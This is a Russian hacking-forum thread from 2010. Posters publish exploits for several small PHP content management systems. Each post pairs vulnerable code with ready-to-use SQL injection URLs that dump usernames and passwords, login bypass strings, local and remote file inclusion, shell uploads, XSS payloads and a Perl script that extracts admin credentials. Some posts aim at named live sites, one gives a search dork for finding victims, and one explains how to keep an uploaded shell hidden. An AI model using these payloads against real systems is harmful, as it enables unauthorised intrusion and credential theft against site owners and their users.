ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #321  
Старый 27.02.2010, 19:43
Аватар для .:[melkiy]:.
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

Stash CMS 1.0.3


1) bypass (требования: mq=off)

file: /admin/library/authenticate.php

PHP код:
        function login($username,$password,$remember,$location){
            
$database = new Db();
            
$results $database->sqlQuery("SELECT user_key,user_firstname,user_lastname, user_admin FROM ".TBPREFIX."_user WHERE user_password = '$password' AND user_username = '$username'");
            if(
$results){
                foreach(
$results as $results){
                    
$userkey $results['user_key'];
                    
$firstname $results['user_firstname'];
                    
$lastname $results['user_lastname'];
                    
$admin $results['user_admin'];
                }
                
$name $firstname." ".$lastname;
                
$uniquekey $name.$userkey;
                
$uniquekey md5($uniquekey);
                
$_SESSION['username'] = $name;
                
$_SESSION['userkey'] = $userkey;
                
$_SESSION['uniquekey'] = $uniquekey;
                
$_SESSION['admin'] = $admin;
                if (
$remember == true){
                    
setcookie("bsm"$userkeytime()+108000);  /* expire in 30 days */
                    
setcookie("msb"$uniquekeytime()+108000);  /* expire in 30 days */
                
}
                
header('location:'.$location);
            }else{
                return 
false;
            }    
        } 
result:

login: ' or '1'='1
pass: asd

-------------------
боян
-------------------

3) blind sql injection (требования: mq=off,желательно 5 ветка бд)

file: resetpassword.php
PHP код:
$username $_POST['username'];
        
$check $database->sqlQuery("SELECT count(*) as cnt FROM ".TBPREFIX."_user WHERE user_username = '$username'",TRUE,FALSE);
        if(
$check['cnt'] == 0){
            if (
$username == '') {
                
$msg 'You must enter your Username';
            }else {
                
$msg $username" doesn't exist";
            } 
result:

Тыкаем в /admin/login.php Forgot your password, в поле username пишем :

Код:
'/**/and/**/(1,2)in(select/**/*/**/from(select/**/name_const(version(),1),name_const(version(),1))as/**/a)/**/and/**/'1'='1
......

Последний раз редактировалось .:[melkiy]:.; 27.02.2010 в 20:04..
 
Ответить с цитированием

  #322  
Старый 01.03.2010, 03:15
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Ресурс http://download.ru/products/tiger-cms
редактирование раздела в админке файл edit.php
PHP код:
... check_var($_GET['id']);
        
$id_site $_GET['id'];
        
$get_site mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
        if(
mysql_num_rows($get_site) == 0)
            {
                
mysql_query("INSERT INTO content(razdel_id,text) VALUES('".$id_site."','Текст')");
            }
            
        
$get_site mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
        list(
$id,$razdel_id_id,$text) = mysql_fetch_array($get_site);
        
        
$get_razdel_name mysql_query("SELECT name FROM razdeli WHERE id='".$id_site."' LIMIT 1");
        list(
$razdel_name) = mysql_fetch_array($get_razdel_name);... 
функия ис /admin/functions.php :
PHP код:
...
function 
check_var($var)
        {
               if(!isset(
$var)) 
                {
                    die (
"<script language='Javascript'>function reload() {location = \"index.php\"}; setTimeout('reload()', 0);</script>");
                }
        }
... 
1) SQL inj:
Цитата:
http://site/admin/index.php?module=razdel&task=edit&id=-5'+union+select+1,2,version()--+
Вывод в редактор !!!
2) Путь если ошибки включены.

Файл admin\modules\razdel\delete.php:
PHP код:
... check_var($_GET['id']);
    
$id $_GET['id'];
    
mysql_query("DELETE FROM razdeli WHERE id = '".$id."' LIMIT 1");
    
mysql_query("DELETE FROM content WHERE razdel_id = '".$id."' LIMIT 1");
    echo 
'Раздел удален'; ... 
1) SQL inj:
Цитата:
http://site/admin/index.php?module=razdel&task=delete&id=18'[SQL]
Файл admin\modules\razdel\save_content.php:
PHP код:
... check_var($_GET['site_id']);
        
check_var($_POST['text']);
        
check_var($_POST['razdel_name']);
        
mysql_query("UPDATE razdeli SET name = '".$_POST['razdel_name']."' WHERE id='".$_GET['site_id']."' LIMIT 1");
        
mysql_query("UPDATE content SET text = '".$_POST['text']."' WHERE razdel_id = '".$_GET['site_id']."' LIMIT 1");
        echo 
'Раздел обновлен';... 
1) SQL inj:
нужно еще устанавливать пост: $_POST['text'], $_POST['razdel_name'] если не будет -переадресация ...
Цитата:
1. site/index.php?module=razdel&task=save_content&site_id= 13'[SQL]
2. $_POST['razdel_name']'[SQL] должны быть установлены:
- $_POST['text']
- action:
Код:
admin/index.php?module=razdel&task=save_content&site_id=13
3. $_POST['text']'[SQL]
должны быть установлены:
- $_POST['razdel_name']
- action:
Код:
index.php?module=razdel&task=save_content&site_id=13
Файл admin\modules\news\edit.php :
PHP код:
... check_var($_GET['id']);
    
$id $_GET['id'];
    
    
$get_news_e mysql_query("SELECT id,title,text,alltext FROM news WHERE id='".$id."' LIMIT 1");
    list(
$id_news_e,$title_e,$text_e,$alltext_e) = mysql_fetch_array($get_news_e); ... 
1) пути;
2) http://localhost/triger/center3/admin/index.php?module=news&task=edit&id=6'[SQL];
пример:
Цитата:
http://site/admin/index.php?module=news&task=edit&id=-6'+union+select+1,2,3,4--+
Файл admin\modules\news\create.php:
PHP код:
... check_var($_POST['title']);
     
$title $_POST['title'];
      
check_len($title,200);
       
clear_my_string($title);
        
$date date("Y-m-d");
       
       
mysql_query("INSERT INTO news(title,text,alltext,date) VALUES('".$title."','".$_POST['text']."','".$_POST['alltext']."','".$date."')"); ... 
1) SQL inj $_POST['alltext']'[SQL]
обязательны:
- $_POST['text']'
2) SQL inj $_POST['text']'[SQL]
обязательны:
- $_POST['alltext'];

Файл admin\modules\news\delete.php:
PHP код:
...  check_var($_GET['id']);
    
$id $_GET['id'];
    
mysql_query("DELETE FROM news WHERE id = '".$id."' LIMIT 1");
    echo 
'Новость удалена'; ... 
1) http://site/admin/index.php?module=news&task=delete&id=6'[SQL]

Файл \admin\modules\news\save_news.php:
PHP код:
...  check_var($_GET['id']);
        
check_var($_POST['title']);
        
check_var($_POST['text']);
        
check_var($_POST['alltext']);
        
$id  $_GET['id'];
        
$title $_POST['title'];
        
$text $_POST['text'];
        
$all_text $_POST['alltext'];
        
$date date("Y-m-d");
        
mysql_query("UPDATE news SET title = '".$title."',text = '".$text."',alltext = '".$all_text."',date='".$date."' WHERE id='".$id."' LIMIT 1");
        echo 
'Новость обновлена'; ... 
1) SQL injection не привожу, аналогично, за пост не забываем ...

Файл \admin\modules\tags\save.php :
1) SQL inj update...

Условия:
1) mg=off;
2) админка;

Последний раз редактировалось Strilo4ka; 01.03.2010 в 05:06.. Причина: граматика!
 
Ответить с цитированием

  #323  
Старый 01.03.2010, 18:36
Аватар для _iks_
_iks_
Познающий
Регистрация: 21.02.2009
Сообщений: 54
Провел на форуме:
1224548

Репутация: 134
По умолчанию

Jojo CMS 1.0 Release Candidate 2

Официальный сайт:
http://www.jojocms.org/
Последняя версия: Jojo CMS 1.0 Release Candidate 2(релиз 28 сентября 2009)
1)SQL-Injection

Требования:

отсутствуют.

Путь до уязвимого скрипта:

../gelato/index.php

Эксплуатация(по умолчанию админские данные лежат в таблице "gel_users"):
Код:
http://127.0.0.1/gelato/gelato/index.php?post=100500+union+select+1,concat%28user%28%29,0x3a,version%28%29,0x3a,database%28%29%29,3,4,5,6,7+--+
Реальный сайт:

Код:
http://jazzfaggot.ru/index.php?post=100500+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7+--+
Причина возникновения уязвимости:
ошибка в логике проверки получаемых данных.


PHP код:
        if (isset($_GET["post"])) {
                
$id_post $_GET["post"];
                if (!
is_numeric($id_post) && $id_post ){    //достаточно выполнить только одно условие, для того чтобы пройти проверку на корректность
                    
header("Location: index.php");
                }
        } else {
                if (isset(
$param_url[1]) && $param_url[1]=="post") {
                        
$id_post = (isset($param_url[2])) ? ((is_numeric($param_url[2])) ? $param_url[2] : NULL) : NULL;
                } else {
                        
$id_post NULL;
                }
        } 
2) SQL-Injection(админка)

Требования:
доступ к администраторской панели
Путь до уязвимого скрипта:
../gelato/gelato/admin/user.php

Эксплуатация:
Код:
http://127.0.0.1/gelato/gelato/admin/user.php?edit=2+union+select+1,2,3,4,5,6,7
Причина возникновения уязвимости:

полное отсутствие фильтрации.
3)Path dislocure:

Требования:
вывод ошибок.
Путь до уязвимого скрипта:

../gelato/index.php
Эксплуатация:
Код:
http://127.0.0.1/gelato/gelato/index.php?post[]=100500
Реальный сайт:

Код:
http://madsc.iz.rs/index.php?post[]=8
4)Заливка шелла

Требования:
доступ в админку.

Путь до уязвимого скрипта:

../gelato/admin/index.php
Код уязвимого скрипта:
PHP код:
if ($_POST["type"]=="2") { //слово "photo" переводится в числовой аналог скриптом, проинклюженным до этого            
     
if (isset($_POST["url"]) && $_POST["url"]!="")  {            
          
$photoName getFileName($_POST["url"]);    //проверки на расширение нет-с
          
if (!$tumble->savePhoto($_POST["url"])) {
               
header("Location: ".$conf->urlGelato."/admin/index.php?photo=false");
               die();
     }
$_POST["url"] = "../uploads/".sanitizeName($photoName);    } 
PHP код:
[B
Эксплуатация:
http://127.0.0.1/gelato/gelato/admin/index.php?new=photo

В качестве фотографии выбираете ваш шелл, любое расширение, создаёте пост. Шелл будет загружен в папку uploads.

Для того чтобы не спалить шелл на главной странице удалите ваш пост, шелл при этом удалён не будет.

Также уязвим модуль загрузки фотографии\музыки\видео\ит .[/I]

Причина возникновения уязвимости:

отсутствие проверки на расширение.
5)Активная XSS

Требования:

включена возможность комментирования.

Путь до уязвимого скрипта:

../gelato/index.php
Уязвимое поле:

<textarea name="content" id="content" cols="100" rows="10" tabindex="4"></textarea>

Эксплуатация:
занесите в уязвимое поле ваш java-script, предварительно закрыв тэг(">)

Сайт с алертом: http://madsc.iz.rs/index.php/post/37
.
 
Ответить с цитированием

  #324  
Старый 05.03.2010, 22:52
Аватар для nikp
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

WORK system CMS e-commerce
http://sourceforge.net/projects/worksystem/

module/catalogue/view_catalogue.php
PHP код:
$select_catalogue = ( isset($_REQUEST['select_catalogue']) and intval($_REQUEST['select_catalogue']) >= ) ? $_REQUEST['select_catalogue'] : "";

...

#read data of product supplier : addresses
$error_select "";
$total_select 0;
$query_selecta "SELECT a.CREATOR,a.CUSTOMER_TYPE_ID,b.POSTCODE as POSTCODEA,b.ADDRESS as ADDRESSA,b.TOWN as TOWNA,b.COUNTRY as COUNTRYA,b.USERNAME as USERNAMEA,b.EMAIL as EMAILA,b.PHONE as PHONEA,b.WEB_SITE as WEBSITEA
    FROM "
.$g_db_prefix."CATALOGUE_SUPPLIER a, ".$g_db_prefix."USER b
    where ID_CATALOGUE="
.$select_catalogue." and a.CREATOR=b.USERID ";

...

$query_select "SELECT a.CREATOR,a.CUSTOMER_TYPE_ID,c.POSTCODE,c.ADDRESS,c.TOWN,c.COUNTRY,c.EMAIL,c.COMPANY_NAME,c.PHONE 
    FROM "
.$g_db_prefix."CATALOGUE_SUPPLIER a, ".$g_db_prefix."SHOPPING_DELIVERY c
    where ID_CATALOGUE="
.$select_catalogue." and c.USERID=a.CREATOR";

...

$query_select "SELECT ID,TITLE,STATE,LINK,DESCRIPTION,CREATOR,FILE_NAME,
        UNIX_TIMESTAMP(DATE_CREATION) as DATE_CREATION, ID_THEMA, HITS,
        PRICE,DISCOUNT,ID_CURRENCY,STOCK,STOCK_CURRENT,PERIOD_DELIVERY,
        COLORS1,COLORS2,COLORS3,COLORS4,COLORS5,COLORS6,REFERENCE_FREE
        FROM "
.$g_db_prefix."CATALOGUE where ID=$select_catalogue"
SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2+unio n+select+1,2,3,4,5,6,version%28%29,user(),9,10+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#

SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2++uni on+select+1,2,3,4,5,6,user(),8,9+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#

SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2++uni on+select+1,version(),3,database(),5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#

-----------------------

module/booking/view_room.php
PHP код:
$select_catalogue = ( isset($_REQUEST['select_catalogue']) and intval($_REQUEST['select_catalogue']) >= ) ? $_REQUEST['select_catalogue'] : "";

...

$query_select "SELECT ID,TITLE,STATE,LINK,DESCRIPTION,CREATOR,FILE_NAME,RESUME,
    UNIX_TIMESTAMP(DATE_CREATION) as DATE_CREATION, ID_THEMA, HITS,
    PRICE,DISCOUNT,ID_CURRENCY,STOCK,STOCK_CURRENT,PERIOD_DELIVERY,
    COLORS1,COLORS2,COLORS3,COLORS4,COLORS5,COLORS6,REFERENCE_FREE
    FROM "
.$g_db_prefix."CATALOGUE where ID=$select_catalogue"
SQL
http://localhost/worksystem_4_0_39/module/booking/view_room.php?amp;work_url=0168e286bf&select_catal ogue=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,version()+limit+1,1

-----------------------

module\forum\detailforum.php
PHP код:
include($g_include_forum."include_display_detailforum.php"); 
include_config.php
PHP код:
    global_register('GET','POST');     
     
    function 
global_register() {      
        
$num_args func_num_args();      
        if (
$num_args 0) {      
            for (
$i 0$i $num_args$i++) {      
                
$method strtoupper(func_get_arg($i));      
                if ((
$method != 'SESSION') && ($method != 'GET') && ($method != 'POST') && ($method != 'SERVER') && ($method != 'COOKIE') && ($method != 'ENV')) {      
                    die(
"The \"$method\" is invalid argument, The argument of global_register must be the following: GET, POST, SESSION, SERVER, COOKIE, or ENV"); }      
                
$varname "_{$method}";      
                global ${
$varname};      
                foreach (${
$varname} as $key => $val) {      
                    global ${
$key};          
                    ${
$key} = $val;      
                }      
            }      
        }else{      
            die(
'You must specify at least one argument');      
        }      
    } 
module\forum\include\include_display_detailforum.p hp
PHP код:
    $query_select "SELECT ID,ID_INIT,TITLE,STATE,DESCRIPTION,CREATOR,UNIX_TIMESTAMP(DATE_CREATION) as DATE_CREATION,LINK
        FROM "
.$g_db_prefix."FORUM_INIT where ID=$select_forum and STATE=$state_display $profile_forum order by ORDER_DISPLAY asc, DATE_CREATION asc"
SQL
http://localhost/worksystem_4_0_39/module/forum/detailforum.php?select_forum=3+union+select+1,2,us er(),4,version(),6,7,8+--+&work_url=2fa5af6c22#

------------------------

module\news\view_news.php
PHP код:
$select_news = ( isset($_REQUEST['select_news']) and intval($_REQUEST['select_news']) >= ) ? $_REQUEST['select_news'] : "";
...
$query_select "SELECT a.ID,a.TITLE,a.STATE,a.LINK,a.DESCRIPTION,b.CREATOR,a.FILE_NAME,
    UNIX_TIMESTAMP(a.DATE_CREATION) as DATE_CREATION,a.WHERE_IMAGE,a.SIZE_IMAGE,a.HITS,a.WRAPPER
    FROM "
.$g_db_prefix."NEWS a, ".$g_db_prefix."NEWS_SUPPLIER b where ID=$select_news and a.ID=b.NEWS_ID "
SQL
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,user() ,3,database(),version(),6,7,8,9,10,11,12+--+

------------------------------

Заходим админом


Кроме стандартного захода login : password, предусмотрен login : Secret answer, причем Secret answer хранится в таблице user
открытым текстом.

Узнаем префикс таблиц в базе.
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,TABLE_ NAME,3,TABLE_SCHEMA,5,6,7,8,9,10,11,12+from+inform ation_schema.tables+--+
http://www.artpeinture.fr/work/module/news/view_news.php?select_news=12+union+select+1,TABLE_ NAME,3,TABLE_SCHEMA,5,6,7,8,9,10,11,12+from+inform ation_schema.tables+--+&work_url=8cd560377a

Читаем username и Secret answer
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,name,3 ,ANSWER,5,6,7,8,9,10,11,12+from+work_user+--+

Запасной вход
http://localhost/worksystem_4_0_39/module/user/forget_password.php?f_username=admin&amp;work_url= 8cd560377a
или
http://localhost/worksystem_4_0_39/module/user/forget_password.php?f_username=blabla'+or+GROUP_ID =7+--+&amp;work_url=8cd560377a

вводим секретный ответ и мы админы.
 
Ответить с цитированием

  #325  
Старый 07.03.2010, 06:00
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

BigForum
Version: 4.5
http://sourceforge.net/projects/npage-bigforum/

SQL Injection:

Цитата:
/misc.php?aktion=adser&id=-1'+union+select+1,2,user(),4,5+--+
(Need mq = off)
Будет редирект на значение 3 поля.

Цитата:
/profil.php?id=-1'+union+select+1,concat_ws(0x3a,id,username,pw),3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24,25,26,27,28,29+from+users--+
Цитата:
/search.php
В Author / Erstellen
Цитата:
1u%' union select 1,2,3,4,5,6,7,8,9,10,11,12 --
Цитата:
/?do=show_one&id=-1'+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4+--+
Залитие шелла:

Цитата:
/main.php?do=ava&aktion=send
Выбираем как аватару шелл, и заливаем, /images/avatar/ .


BigForum 4.5 SQL INJ EXPLOIT.

PHP код:
#!/usr/bin/perl 
use LWP::Simple;
print 
"\n";
print 
"##############################################################\n";
print 
"# BigForum Version: 4.5 SQL INJECTION                        #\n";
print 
"# Author: Ctacok  (Russian)                                  #\n";
print 
"# Blog : www.Ctacok.ru                                       #\n";
print 
"# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
print 
"# Require : Magic_quotes = Off                               #\n";
print 
"##############################################################\n";
if (@
ARGV 2)
{
print 
"\n Usage: exploit.pl [host] [path] ";
print 
"\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln "-1'+union+select+1,concat(0x3a3a3a,id,0x3a,username,0x3a,pw,0x3a3a3a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+users";
$doc get($host.$path."profil.php?id=".$vuln."+--+");
if (
$doc =~ /:::(.+):(.+):(.+):::/){
            print 
"\n[+] Admin id: : $1";
        print 
"\n[+] Admin username: $2";
        print 
"\n[+] Admin password: $3";

Dork:
Цитата:
by Bigforum-Team (Version: 4.5 )

Последний раз редактировалось Ctacok; 07.03.2010 в 06:53..
 
Ответить с цитированием

  #326  
Старый 11.03.2010, 13:26
Аватар для [x60]unu
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

pHNews
product : pHNews-alpha1-normal

SQL injection
modules/comments.php - code
PHP код:
if ($ii >= $messagespp) {
    
// Find out how many pages
    
$pages $ii $messagespp;
    
$pages ceil($pages);
    
$pages++;
    
$page++;
    
$pagesm $pages 1;
    
$comm_output .= pages($pagesm,"?mod=comments&id=".$_GET['id']."&page=");
}
unset(
$tmp_ended);
$sql "SELECT lastread FROM Users WHERE UName = '$user_uname'";
$result mysql_query($sql) or die('Query failed: ' mysql_error());
$row mysql_fetch_array($resultMYSQL_ASSOC);
$exploaded $pHNews->explodeAssoc("&"$row['lastread']);
$exploaded[$_GET['id']] = time();
$sql "UPDATE Users SET lastread='".$pHNews->implodeAssoc("&"$exploaded)."' WHERE UName = '$user_uname';";
mysql_query($sql);
$mod_output .= mysql_error(); 
result
mq=off
SQL Injection
Код:
http://localhost/upload/indexfix.php?mod=comments&id=1'+and+0+union+all+select+1,version(),3,4,5,6,7,8--+
Blind SQL Injection
Код:
http://localhost/upload/indexfix.php?mod=comments&user_uname=[blind sql]
modules/view_profile.php
PHP код:
//$sql = "SELECT * FROM `Users` WHERE `UName`='{$_GET['user']}'";
//$result = mysql_query($sql) or die('Query failed: ' . mysql_error());
//$row = mysql_fetch_array($result);
$row $pHNews->get_user_info(""$_GET['user']); 
result :
Код:
http://localhost/upload/indexfix.php?mod=view_profile&user='+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+

Local File Inclusion
module/comments.php - code
PHP код:
include "./$templates_dir/$template/comments.php"
mq=off
result :
Код:
http://localhost/upload/modules/comments.php?templates_dir=../../upload/[file]%00
Код:
http://localhost/upload/modules/comments.php?template=../../upload/[file]%00
(с) milw0rm

SQL injection + Local File Inclusion
mq=off
rg=on

Код:
http://localhost/upload/indexfix.php?mod=view_profile'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=login'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=usercp'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=admin'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=register'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=news'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=about'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=terms'+and+0+union+all+select+[LFI],2--+

Последний раз редактировалось [x60]unu; 11.03.2010 в 13:48..
 
Ответить с цитированием

  #327  
Старый 12.03.2010, 12:01
Аватар для [x60]unu
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

faNAME
product : en.faname

SQL injection
1. mq = off
page.php - уязвимость в коде файла /class/page.php к которому обращается файл
Code :
PHP код:
$id $_GET['id'];
$kind "id";
$result mysql_query("SELECT * FROM blog WHERE $kind LIKE '$id' order by id DESC LIMIT 1");
while(
$r=mysql_fetch_array($result)) 
result :
Код:
http://localhost/en.faname/page.php?id=2'+and+0+union+all+select+1,version(),3,4--+
Blind sql
2. admin panel
/admin/del.page.php
PHP код:
if($_GET["cmd"]=="delete")
{
$id $_GET['id'];

$sql "DELETE FROM blog WHERE id=$id";
$result mysql_query($sql); 
result :
Код:
http://localhost/en.faname/admin/del.page.php?cmd=delete&id={blind sql}
Passive XSS
mq = off
Код:
http://localhost/en.faname/index.php'%22/%3E%3Cscript%3Ealert(%22xss%22);%3C/script%3E
 
Ответить с цитированием

  #328  
Старый 13.03.2010, 01:39
Аватар для [x60]unu
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

Драконий Движок
product : Драконий Движок 0.1

RFI - LFI
mq=off (Доступ в админ панель не нужна)
admin/system/include.php - Code :
PHP код:
        include("$skindir/header.php");
              ....
    include(
"$skindir/footer.php"); 
result :
Код:
http://localhost/admin/system/include.php?skindir=../../[FILE]%00
Код:
http://localhost/admin/system/include.php?skindir=http://localhost/1.txt?

SQL Injection
standart prefix : dre_
mq = off
index.php - обращение к файлу admin/system/engine.php : CODE
PHP код:
if ($p != ""$build .= " AND aid = '$p'";
if (
$cat || $user) {
    if (!
$p) {
        if (
$cat) {$build .= " AND category = '$cat'";} 
        if (
$user) {$build .= " AND username = '$user'";} 
result :
Код:
http://localhost/index.php?cat=1'+and+0+union+all+select+1,2,concat_ws(0x3a,uid,username,password),4,5,6,7,8,9,10,11+from+dre_users--+
Код:
http://localhost/index.php?user=1'+and+0+union+all+select+1,2,concat_ws(0x3a,uid,username,password),4,5,6,7,8,9,10,11+from+dre_users--+
Код:
http://localhost/index.php?p=2'+and+0+union+all+select+1,2,concat_ws(0x3a,uid,username,password),4,5,6,7,8,9,10,11+from+dre_users--+
Admin panel
mq=off
admin/profile.php : Code
PHP код:
$result mysql_query("SELECT * FROM ".$prefix."profile WHERE username = '$username'"); 
result :
Код:
http://localhost/admin/profile.php?action=view&username=admin'+and+0+union+all+select+concat_ws(0x3a,uid,username,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+dre_users--+
admin/categories.php - Code :
PHP код:
$result mysql_query("SELECT * FROM ".$prefix."categories WHERE cid='$cid'"); 
result :
Код:
http://localhost/admin/categories.php?action=edit&cid=1'+and+0+union+all+select+1,concat_ws(0x3a,uid,username,password)+from+dre_users--+
Ну и в конце комментирование - в текст комментария добавляем (для MySQL 5.0. ...)
Код:
'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1

Passive XSS
Код:
http://localhost/index.php/%22%3E%3Cscript%3Ealert();%3C/script%3E

Последний раз редактировалось [x60]unu; 13.03.2010 в 14:48..
 
Ответить с цитированием

  #329  
Старый 13.03.2010, 21:54
Аватар для [x60]unu
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

jurpopage
product : jurpopage-0.0.6
admin panel : /jurpopageadmin
SQL injection
mq=off
index.php
PHP код:
$query "SELECT category_id AS category FROM category WHERE page_id='$page_id' ORDER BY category_id ASC LIMIT 0,1";
        
$result fn_query($conn_id,$query);
        while(
$rows fn_fetch_array($result)) extract($rows,EXTR_OVERWRITE);
    }
    
$active_category_id $category;

    
$query "SELECT category_title AS active_category_title FROM category WHERE page_id='$page_id' AND category_id = '$active_category_id'";
    
$result fn_query($conn_id,$query);
    while(
$rows fn_fetch_array($result)) extract($rows,EXTR_OVERWRITE);

    if(isset(
$HTTP_GET_VARS["id"])) $q_note_detail ="page_id = '$page_id' AND note_id = '$id'";
    else 
$q_note_detail ="page_id = '$page_id' AND category_id = '$active_category_id' ORDER BY note_id DESC LIMIT 0,1";
...
$q_page ="WHERE page_id = '$page_id' AND category_id = '$active_category_id' "
result :
Код:
http://localhost/index.php?page_id=[sql]
Код:
http://localhost/index.php?page_id=1&category=[sql]
Код:
http://localhost/index.php?page_id=1&category=100&id=49'+union+all+select+1,2,concat_ws(0x3a,user_name,user_password),4+from+master_user+limit+1,1--+
jurpopageadmin/note.php
mq=off
доступ в админ панель
PHP код:
$query "SELECT category_title FROM category WHERE page_id = '".$page_id."' AND category_id = '$category_id'"
Код:
http://localhost/jurpopageadmin/note.php?page_id=[sql]&category=[sql]
Passive XSS
mq=off
Код:
http://localhost/index.php'%22/%3E%3Cscript%3Ealert(%22xss%22);%3C/script%3E
 
Ответить с цитированием

  #330  
Старый 15.03.2010, 03:07
Аватар для Seravin
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

PHPShop CMS Free v.3.1
http://www.phpshopcms.ru/

Active XSS

PHP код:
// Запись отзыва в базу
function WriteGbook()
{
global 
$LoadItems,$SysValue,$REMOTE_ADDR,$SERVER_NAME;


// Подключаем библиотеку отправки почты
PHPShopObj::loadClass("mail");

if(isset(
$_POST['send_gb']))
{
if(!
preg_match("/@/",$_POST['mail_new']))//проверка почты
  
{
  
$_POST['mail_new']="";
  }
if(@
$_POST['name_new']!="" and @$_POST['otsiv_new']!="" and @$_POST['tema_new']!="")
   {
   
$name_new=PHPShopSecurity::TotalClean($_POST['name_new'],2);
   
$otsiv_new=PHPShopSecurity::TotalClean($_POST['otsiv_new'],2);
   
$tema_new=PHPShopSecurity::TotalClean($_POST['tema_new'],2);
   
$mail_new=addslashes($_POST['mail_new']);
   
$date date("d.m.y");
$ip=$REMOTE_ADDR;                        
$sql="INSERT INTO ".$SysValue['base']['table_name7']."
VALUES ('','
$date','$name_new','$mail_new','$tema_new','$otsiv_new','','0')";
mysql_query($sql)or @die($sql."Невозможно добавить к базе");

$zag=$LoadItems['System']['name']." - Уведомление о добалении отзыва / ".date("d-m-y");
$message="
Доброго времени!
---------------

С сайта "
.$LoadItems['System']['name']." пришло уведомление о добалении отзыва 
в гостевую книгу.

Данные о пользователе:
----------------------

Имя:                "
.@$name_new."
E-mail:             "
.@$mail_new."
Тема сообщения:     "
.@$tema_new."
Сообщение:          "
.@$otsiv_new."  
Дата:               "
.date("d-m-y H:s a")."
IP:                 "
.$REMOTE_ADDR."

---------------

С уважением,
Компания "
.$LoadItems['System']['company']."
http://"
.$SERVER_NAME;

$PHPShopMail = new PHPShopMail($LoadItems['System']['adminmail2'],$mail_new,$zag,$message);


  }
}

Код:
Проверка email только на @
if(!preg_match("/@/",$_POST['mail_new'])){
}

http://localhost/phpshop/gbook_forma/
POST: mail_new
mail_new = "><script>alert(1)</script>@<"

Расшифровал index.php если кому интересно
PHP код:
<? 
session_start
();
error_reporting(0);
if (
file_exists("./cnstats/index.php"))
    include (
"./cnstats/cnt.php");
function 
ParseTemplate($TemplateName)
{
    global 
$SysValue$_SESSION$PHP_SELF$_ENV;
    
$file newGetFile($SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
        
chr(47) . $TemplateName);
    
$string newParser($file);
    
$path_parts pathinfo($PHP_SELF);
    if (
getenv("COMSPEC"))
        
$dirSlesh "\\";
    else
        
$dirSlesh "/";
    
$root $path_parts['dirname'] . "/";
    if (
$path_parts['dirname'] != $dirSlesh) {
        
